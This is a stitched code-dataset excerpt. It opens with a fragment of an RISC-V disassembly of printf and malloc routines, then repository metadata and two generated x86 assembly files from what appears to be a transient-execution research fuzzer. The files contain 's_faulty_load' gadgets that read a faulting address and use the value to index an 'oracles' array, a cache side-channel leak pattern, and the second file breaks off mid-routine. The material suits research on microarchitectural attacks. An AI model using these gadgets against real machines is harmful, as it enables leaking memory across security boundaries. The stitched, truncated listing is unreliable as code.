0009079b sext.w a5,s2 if(state == 0){ 556: fe0997e3 bnez s3,544 <vprintf+0x5c> if(c == '%'){ 55a: fd479ee3 bne a5,s4,536 <vprintf+0x4e> state = '%'; 55e: 89be mv s3,a5 560: b7e5 j 548 <vprintf+0x60> if(c == 'd'){ 562: 05878063 beq a5,s8,5a2 <vprintf+0xba> } else if(c == 'l') { 566: 05978c63 beq a5,s9,5be <vprintf+0xd6> } else if(c == 'x') { 56a: 07a78863 beq a5,s10,5da <vprintf+0xf2> } else if(c == 'p') { 56e: 09b78463 beq a5,s11,5f6 <vprintf+0x10e> printptr(fd, va_arg(ap, uint64)); } else if(c == 's'){ 572: 07300713 li a4,115 576: 0ce78663 beq a5,a4,642 <vprintf+0x15a> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 57a: 06300713 li a4,99 57e: 0ee78e63 beq a5,a4,67a <vprintf+0x192> putc(fd, va_arg(ap, uint)); } else if(c == '%'){ 582: 11478863 beq a5,s4,692 <vprintf+0x1aa> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 586: 85d2 mv a1,s4 588: 8556 mv a0,s5 58a: 00000097 auipc ra,0x0 58e: e92080e7 jalr -366(ra) # 41c <putc> putc(fd, c); 592: 85ca mv a1,s2 594: 8556 mv a0,s5 596: 00000097 auipc ra,0x0 59a: e86080e7 jalr -378(ra) # 41c <putc> } state = 0; 59e: 4981 li s3,0 5a0: b765 j 548 <vprintf+0x60> printint(fd, va_arg(ap, int), 10, 1); 5a2: 008b0913 addi s2,s6,8 5a6: 4685 li a3,1 5a8: 4629 li a2,10 5aa: 000b2583 lw a1,0(s6) 5ae: 8556 mv a0,s5 5b0: 00000097 auipc ra,0x0 5b4: e8e080e7 jalr -370(ra) # 43e <printint> 5b8: 8b4a mv s6,s2 state = 0; 5ba: 4981 li s3,0 5bc: b771 j 548 <vprintf+0x60> printint(fd, va_arg(ap, uint64), 10, 0); 5be: 008b0913 addi s2,s6,8 5c2: 4681 li a3,0 5c4: 4629 li a2,10 5c6: 000b2583 lw a1,0(s6) 5ca: 8556 mv a0,s5 5cc: 00000097 auipc ra,0x0 5d0: e72080e7 jalr -398(ra) # 43e <printint> 5d4: 8b4a mv s6,s2 state = 0; 5d6: 4981 li s3,0 5d8: bf85 j 548 <vprintf+0x60> printint(fd, va_arg(ap, int), 16, 0); 5da: 008b0913 addi s2,s6,8 5de: 4681 li a3,0 5e0: 4641 li a2,16 5e2: 000b2583 lw a1,0(s6) 5e6: 8556 mv a0,s5 5e8: 00000097 auipc ra,0x0 5ec: e56080e7 jalr -426(ra) # 43e <printint> 5f0: 8b4a mv s6,s2 state = 0; 5f2: 4981 li s3,0 5f4: bf91 j 548 <vprintf+0x60> printptr(fd, va_arg(ap, uint64)); 5f6: 008b0793 addi a5,s6,8 5fa: f8f43423 sd a5,-120(s0) 5fe: 000b3983 ld s3,0(s6) putc(fd, '0'); 602: 03000593 li a1,48 606: 8556 mv a0,s5 608: 00000097 auipc ra,0x0 60c: e14080e7 jalr -492(ra) # 41c <putc> putc(fd, 'x'); 610: 85ea mv a1,s10 612: 8556 mv a0,s5 614: 00000097 auipc ra,0x0 618: e08080e7 jalr -504(ra) # 41c <putc> 61c: 4941 li s2,16 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 61e: 03c9d793 srli a5,s3,0x3c 622: 97de add a5,a5,s7 624: 0007c583 lbu a1,0(a5) 628: 8556 mv a0,s5 62a: 00000097 auipc ra,0x0 62e: df2080e7 jalr -526(ra) # 41c <putc> for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4) 632: 0992 slli s3,s3,0x4 634: 397d addiw s2,s2,-1 636: fe0914e3 bnez s2,61e <vprintf+0x136> printptr(fd, va_arg(ap, uint64)); 63a: f8843b03 ld s6,-120(s0) state = 0; 63e: 4981 li s3,0 640: b721 j 548 <vprintf+0x60> s = va_arg(ap, char*); 642: 008b0993 addi s3,s6,8 646: 000b3903 ld s2,0(s6) if(s == 0) 64a: 02090163 beqz s2,66c <vprintf+0x184> while(*s != 0){ 64e: 00094583 lbu a1,0(s2) 652: c9a1 beqz a1,6a2 <vprintf+0x1ba> putc(fd, *s); 654: 8556 mv a0,s5 656: 00000097 auipc ra,0x0 65a: dc6080e7 jalr -570(ra) # 41c <putc> s++; 65e: 0905 addi s2,s2,1 while(*s != 0){ 660: 00094583 lbu a1,0(s2) 664: f9e5 bnez a1,654 <vprintf+0x16c> s = va_arg(ap, char*); 666: 8b4e mv s6,s3 state = 0; 668: 4981 li s3,0 66a: bdf9 j 548 <vprintf+0x60> s = "(null)"; 66c: 00000917 auipc s2,0x0 670: 26c90913 addi s2,s2,620 # 8d8 <malloc+0x126> while(*s != 0){ 674: 02800593 li a1,40 678: bff1 j 654 <vprintf+0x16c> putc(fd, va_arg(ap, uint)); 67a: 008b0913 addi s2,s6,8 67e: 000b4583 lbu a1,0(s6) 682: 8556 mv a0,s5 684: 00000097 auipc ra,0x0 688: d98080e7 jalr -616(ra) # 41c <putc> 68c: 8b4a mv s6,s2 state = 0; 68e: 4981 li s3,0 690: bd65 j 548 <vprintf+0x60> putc(fd, c); 692: 85d2 mv a1,s4 694: 8556 mv a0,s5 696: 00000097 auipc ra,0x0 69a: d86080e7 jalr -634(ra) # 41c <putc> state = 0; 69e: 4981 li s3,0 6a0: b565 j 548 <vprintf+0x60> s = va_arg(ap, char*); 6a2: 8b4e mv s6,s3 state = 0; 6a4: 4981 li s3,0 6a6: b54d j 548 <vprintf+0x60> } } } 6a8: 70e6 ld ra,120(sp) 6aa: 7446 ld s0,112(sp) 6ac: 74a6 ld s1,104(sp) 6ae: 7906 ld s2,96(sp) 6b0: 69e6 ld s3,88(sp) 6b2: 6a46 ld s4,80(sp) 6b4: 6aa6 ld s5,72(sp) 6b6: 6b06 ld s6,64(sp) 6b8: 7be2 ld s7,56(sp) 6ba: 7c42 ld s8,48(sp) 6bc: 7ca2 ld s9,40(sp) 6be: 7d02 ld s10,32(sp) 6c0: 6de2 ld s11,24(sp) 6c2: 6109 addi sp,sp,128 6c4: 8082 ret 00000000000006c6 <fprintf>: void fprintf(int fd, const char *fmt, ...) { 6c6: 715d addi sp,sp,-80 6c8: ec06 sd ra,24(sp) 6ca: e822 sd s0,16(sp) 6cc: 1000 addi s0,sp,32 6ce: e010 sd a2,0(s0) 6d0: e414 sd a3,8(s0) 6d2: e818 sd a4,16(s0) 6d4: ec1c sd a5,24(s0) 6d6: 03043023 sd a6,32(s0) 6da: 03143423 sd a7,40(s0) va_list ap; va_start(ap, fmt); 6de: fe843423 sd s0,-24(s0) vprintf(fd, fmt, ap); 6e2: 8622 mv a2,s0 6e4: 00000097 auipc ra,0x0 6e8: e04080e7 jalr -508(ra) # 4e8 <vprintf> } 6ec: 60e2 ld ra,24(sp) 6ee: 6442 ld s0,16(sp) 6f0: 6161 addi sp,sp,80 6f2: 8082 ret 00000000000006f4 <printf>: void printf(const char *fmt, ...) { 6f4: 711d addi sp,sp,-96 6f6: ec06 sd ra,24(sp) 6f8: e822 sd s0,16(sp) 6fa: 1000 addi s0,sp,32 6fc: e40c sd a1,8(s0) 6fe: e810 sd a2,16(s0) 700: ec14 sd a3,24(s0) 702: f018 sd a4,32(s0) 704: f41c sd a5,40(s0) 706: 03043823 sd a6,48(s0) 70a: 03143c23 sd a7,56(s0) va_list ap; va_start(ap, fmt); 70e: 00840613 addi a2,s0,8 712: fec43423 sd a2,-24(s0) vprintf(1, fmt, ap); 716: 85aa mv a1,a0 718: 4505 li a0,1 71a: 00000097 auipc ra,0x0 71e: dce080e7 jalr -562(ra) # 4e8 <vprintf> } 722: 60e2 ld ra,24(sp) 724: 6442 ld s0,16(sp) 726: 6125 addi sp,sp,96 728: 8082 ret 000000000000072a <free>: static Header base; static Header *freep; void free(void *ap) { 72a: 1141 addi sp,sp,-16 72c: e422 sd s0,8(sp) 72e: 0800 addi s0,sp,16 Header *bp, *p; bp = (Header*)ap - 1; 730: ff050693 addi a3,a0,-16 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 734: 00000797 auipc a5,0x0 738: 1c47b783 ld a5,452(a5) # 8f8 <freep> 73c: a805 j 76c <free+0x42> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 73e: 4618 lw a4,8(a2) 740: 9db9 addw a1,a1,a4 742: feb52c23 sw a1,-8(a0) bp->s.ptr = p->s.ptr->s.ptr; 746: 6398 ld a4,0(a5) 748: 6318 ld a4,0(a4) 74a: fee53823 sd a4,-16(a0) 74e: a091 j 792 <free+0x68> } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 750: ff852703 lw a4,-8(a0) 754: 9e39 addw a2,a2,a4 756: c790 sw a2,8(a5) p->s.ptr = bp->s.ptr; 758: ff053703 ld a4,-16(a0) 75c: e398 sd a4,0(a5) 75e: a099 j 7a4 <free+0x7a> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 760: 6398 ld a4,0(a5) 762: 00e7e463 bltu a5,a4,76a <free+0x40> 766: 00e6ea63 bltu a3,a4,77a <free+0x50> { 76a: 87ba mv a5,a4 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 76c: fed7fae3 bgeu a5,a3,760 <free+0x36> 770: 6398 ld a4,0(a5) 772: 00e6e463 bltu a3,a4,77a <free+0x50> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 776: fee7eae3 bltu a5,a4,76a <free+0x40> if(bp + bp->s.size == p->s.ptr){ 77a: ff852583 lw a1,-8(a0) 77e: 6390 ld a2,0(a5) 780: 02059813 slli a6,a1,0x20 784: 01c85713 srli a4,a6,0x1c 788: 9736 add a4,a4,a3 78a: fae60ae3 beq a2,a4,73e <free+0x14> bp->s.ptr = p->s.ptr; 78e: fec53823 sd a2,-16(a0) if(p + p->s.size == bp){ 792: 4790 lw a2,8(a5) 794: 02061593 slli a1,a2,0x20 798: 01c5d713 srli a4,a1,0x1c 79c: 973e add a4,a4,a5 79e: fae689e3 beq a3,a4,750 <free+0x26> } else p->s.ptr = bp; 7a2: e394 sd a3,0(a5) freep = p; 7a4: 00000717 auipc a4,0x0 7a8: 14f73a23 sd a5,340(a4) # 8f8 <freep> } 7ac: 6422 ld s0,8(sp) 7ae: 0141 addi sp,sp,16 7b0: 8082 ret 00000000000007b2 <malloc>: return freep; } void* malloc(uint nbytes) { 7b2: 7139 addi sp,sp,-64 7b4: fc06 sd ra,56(sp) 7b6: f822 sd s0,48(sp) 7b8: f426 sd s1,40(sp) 7ba: f04a sd s2,32(sp) 7bc: ec4e sd s3,24(sp) 7be: e852 sd s4,16(sp) 7c0: e456 sd s5,8(sp) 7c2: e05a sd s6,0(sp) 7c4: 0080 addi s0,sp,64 Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7c6: 02051493 slli s1,a0,0x20 7ca: 9081 srli s1,s1,0x20 7cc: 04bd addi s1,s1,15 7ce: 8091 srli s1,s1,0x4 7d0: 0014899b addiw s3,s1,1 7d4: 0485 addi s1,s1,1 if((prevp = freep) == 0){ 7d6: 00000517 auipc a0,0x0 7da: 12253503 ld a0,290(a0) # 8f8 <freep> 7de: c515 beqz a0,80a <malloc+0x58> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7e0: 611c ld a5,0(a0) if(p->s.size >= nunits){ 7e2: 4798 lw a4,8(a5) 7e4: 02977f63 bgeu a4,s1,822 <malloc+0x70> 7e8: 8a4e mv s4,s3 7ea: 0009871b sext.w a4,s3 7ee: 6685 lui a3,0x1 7f0: 00d77363 bgeu a4,a3,7f6 <malloc+0x44> 7f4: 6a05 lui s4,0x1 7f6: 000a0b1b sext.w s6,s4 p = sbrk(nu * sizeof(Header)); 7fa: 004a1a1b slliw s4,s4,0x4 p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 7fe: 00000917 auipc s2,0x0 802: 0fa90913 addi s2,s2,250 # 8f8 <freep> if(p == (char*)-1) 806: 5afd li s5,-1 808: a895 j 87c <malloc+0xca> base.s.ptr = freep = prevp = &base; 80a: 00000797 auipc a5,0x0 80e: 0f678793 addi a5,a5,246 # 900 <base> 812: 00000717 auipc a4,0x0 816: 0ef73323 sd a5,230(a4) # 8f8 <freep> 81a: e39c sd a5,0(a5) base.s.size = 0; 81c: 0007a423 sw zero,8(a5) if(p->s.size >= nunits){ 820: b7e1 j 7e8 <malloc+0x36> if(p->s.size == nunits) 822: 02e48c63 beq s1,a4,85a <malloc+0xa8> p->s.size -= nunits; 826: 4137073b subw a4,a4,s3 82a: c798 sw a4,8(a5) p += p->s.size; 82c: 02071693 slli a3,a4,0x20 830: 01c6d713 srli a4,a3,0x1c 834: 97ba add a5,a5,a4 p->s.size = nunits; 836: 0137a423 sw s3,8(a5) freep = prevp; 83a: 00000717 auipc a4,0x0 83e: 0aa73f23 sd a0,190(a4) # 8f8 <freep> return (void*)(p + 1); 842: 01078513 addi a0,a5,16 if((p = morecore(nunits)) == 0) return 0; } } 846: 70e2 ld ra,56(sp) 848: 7442 ld s0,48(sp) 84a: 74a2 ld s1,40(sp) 84c: 7902 ld s2,32(sp) 84e: 69e2 ld s3,24(sp) 850: 6a42 ld s4,16(sp) 852: 6aa2 ld s5,8(sp) 854: 6b02 ld s6,0(sp) 856: 6121 addi sp,sp,64 858: 8082 ret prevp->s.ptr = p->s.ptr; 85a: 6398 ld a4,0(a5) 85c: e118 sd a4,0(a0) 85e: bff1 j 83a <malloc+0x88> hp->s.size = nu; 860: 01652423 sw s6,8(a0) free((void*)(hp + 1)); 864: 0541 addi a0,a0,16 866: 00000097 auipc ra,0x0 86a: ec4080e7 jalr -316(ra) # 72a <free> return freep; 86e: 00093503 ld a0,0(s2) if((p = morecore(nunits)) == 0) 872: d971 beqz a0,846 <malloc+0x94> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 874: 611c ld a5,0(a0) if(p->s.size >= nunits){ 876: 4798 lw a4,8(a5) 878: fa9775e3 bgeu a4,s1,822 <malloc+0x70> if(p == freep) 87c: 00093703 ld a4,0(s2) 880: 853e mv a0,a5 882: fef719e3 bne a4,a5,874 <malloc+0xc2> p = sbrk(nu * sizeof(Header)); 886: 8552 mv a0,s4 888: 00000097 auipc ra,0x0 88c: b7c080e7 jalr -1156(ra) # 404 <sbrk> if(p == (char*)-1) 890: fd5518e3 bne a0,s5,860 <malloc+0xae> return 0; 894: 4501 li a0,0 896: bf45 j 846 <malloc+0x94>
30.078417
61
0.462747
e2ab1abedcef6e2edb78ebac2da56eaf26d5f407
8,817
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_699.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_699.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_699.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r15 push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x11cf7, %r14 cmp $51849, %r10 mov $0x6162636465666768, %r15 movq %r15, %xmm5 movups %xmm5, (%r14) nop cmp $21357, %r13 lea addresses_D_ht+0x1e8f3, %rsi lea addresses_normal_ht+0x9a79, %rdi clflush (%rsi) nop nop nop nop sub %rbp, %rbp mov $79, %rcx rep movsw nop sub %rdi, %rdi lea addresses_WT_ht+0x173c3, %r10 nop nop inc %rcx mov (%r10), %r13d nop nop nop inc %rbp lea addresses_normal_ht+0x40f3, %r15 nop and %r10, %r10 vmovups (%r15), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rcx nop nop add $21838, %r15 lea addresses_WC_ht+0x362b, %r15 nop nop nop nop nop xor $22734, %r14 movups (%r15), %xmm0 vpextrq $0, %xmm0, %rbp nop sub %rdi, %rdi lea addresses_WC_ht+0x42f3, %r13 nop nop nop nop nop sub %rcx, %rcx mov (%r13), %r14w nop nop nop nop nop xor %rdi, %rdi lea addresses_WT_ht+0x147ff, %rsi lea addresses_UC_ht+0x5cf3, %rdi clflush (%rdi) nop nop dec %r14 mov $116, %rcx rep movsw nop nop nop nop nop and $45536, %r15 lea addresses_D_ht+0x11d55, %rsi lea addresses_normal_ht+0x67, %rdi clflush (%rdi) nop nop nop cmp %r10, %r10 mov $82, %rcx rep movsw add %r10, %r10 lea addresses_UC_ht+0x132f3, %rdi nop nop nop dec %rcx movl $0x61626364, (%rdi) xor %rcx, %rcx lea addresses_WC_ht+0x1e8f3, %rcx nop nop nop nop nop sub %r15, %r15 mov (%rcx), %r10d nop and $61235, %rbp lea addresses_UC_ht+0x42c3, %rsi lea addresses_normal_ht+0xe8f3, %rdi sub $55637, %r13 mov $7, %rcx rep movsq nop sub %rcx, %rcx lea addresses_WC_ht+0x8173, %rsi lea addresses_WT_ht+0x12b73, %rdi clflush (%rdi) nop nop add %r10, %r10 mov $70, %rcx rep movsb nop nop nop xor %r10, %r10 lea addresses_WC_ht+0xfed3, %rsi lea addresses_normal_ht+0xa0f3, %rdi nop nop nop nop add %r13, %r13 mov $15, %rcx rep movsl nop nop nop nop nop sub %r10, %r10 lea addresses_WC_ht+0x2b23, %r13 nop nop nop nop nop and $11319, %r14 mov (%r13), %ebp xor $3129, %rbp lea addresses_normal_ht+0x62f3, %r13 nop xor %r15, %r15 movb (%r13), %r14b nop nop nop nop nop and %r10, %r10 pop %rsi pop %rdi pop %rcx pop %rbp pop %r15 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r15 push %rax push %rcx push %rdi // Store mov $0xd03, %r11 nop nop nop nop xor $36634, %rcx movw $0x5152, (%r11) nop cmp $31979, %rcx // Load mov $0x2573700000000f73, %r12 nop nop nop nop nop sub $34464, %rax mov (%r12), %rdi nop nop nop nop inc %rcx // Load lea addresses_US+0x8d63, %r12 nop nop nop nop nop and $18740, %r11 mov (%r12), %r14d nop nop nop nop nop and $50819, %rcx // Store lea addresses_WT+0x18633, %r15 nop sub %r14, %r14 movl $0x51525354, (%r15) cmp $5224, %r15 // Faulty Load lea addresses_D+0x170f3, %r11 nop nop sub $21347, %r15 mov (%r11), %r12 lea oracles, %r11 and $0xff, %r12 shlq $12, %r12 mov (%r11,%r12,1), %r12 pop %rdi pop %rcx pop %rax pop %r15 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 0}} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_P', 'congruent': 4}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_NC', 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_US', 'congruent': 3}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 5}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 9}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC_ht', 'congruent': 7}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 11}} {'dst': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 9}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
31.045775
2,999
0.654644
3992c906f25e1f265463bc3e67b3cd4f6afc935c
6,856
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i9-9900K_12_0xa0.log_21829_473.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i9-9900K_12_0xa0.log_21829_473.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i9-9900K_12_0xa0.log_21829_473.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x14eed, %rcx nop and %r9, %r9 mov $0x6162636465666768, %rbx movq %rbx, %xmm3 vmovups %ymm3, (%rcx) nop nop nop xor %r10, %r10 lea addresses_WT_ht+0x1e6c9, %rsi lea addresses_normal_ht+0x17ebf, %rdi sub $2305, %r15 mov $81, %rcx rep movsb nop nop nop nop sub $8208, %r15 lea addresses_normal_ht+0x17cc9, %rsi lea addresses_WT_ht+0x8ec9, %rdi nop nop nop nop nop sub $65172, %r8 mov $97, %rcx rep movsw nop nop nop nop nop and %r15, %r15 lea addresses_A_ht+0xff0b, %r15 nop nop nop nop nop xor %r10, %r10 mov $0x6162636465666768, %rcx movq %rcx, %xmm0 vmovups %ymm0, (%r15) nop nop nop add $39610, %rdi lea addresses_UC_ht+0xc6f9, %r9 nop nop nop dec %rsi and $0xffffffffffffffc0, %r9 movaps (%r9), %xmm0 vpextrq $1, %xmm0, %r10 nop nop cmp $61753, %r8 lea addresses_normal_ht+0x8495, %rcx clflush (%rcx) dec %rbx mov (%rcx), %r10 nop nop nop nop nop and $51117, %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r9 push %rax push %rbx push %rcx // Store lea addresses_PSE+0x4ee9, %rax clflush (%rax) xor $6858, %rcx movl $0x51525354, (%rax) nop nop nop add %rcx, %rcx // Store lea addresses_US+0x76c9, %rbx nop nop nop nop sub %r12, %r12 mov $0x5152535455565758, %r11 movq %r11, %xmm0 movups %xmm0, (%rbx) nop nop nop cmp $49954, %rbx // Load lea addresses_WT+0x4d69, %r11 nop sub %r14, %r14 mov (%r11), %r12 nop nop nop add %rax, %rax // Load lea addresses_PSE+0xd889, %rax nop nop nop nop sub %r12, %r12 mov (%rax), %rbx nop nop nop nop add %r11, %r11 // Load lea addresses_D+0xee15, %r14 nop nop xor $45997, %rcx mov (%r14), %r9w nop nop nop nop cmp $52689, %rcx // Faulty Load lea addresses_US+0x76c9, %r14 nop add $39242, %rbx vmovntdqa (%r14), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %r9 lea oracles, %r12 and $0xff, %r9 shlq $12, %r9 mov (%r12,%r9,1), %r9 pop %rcx pop %rbx pop %rax pop %r9 pop %r14 pop %r12 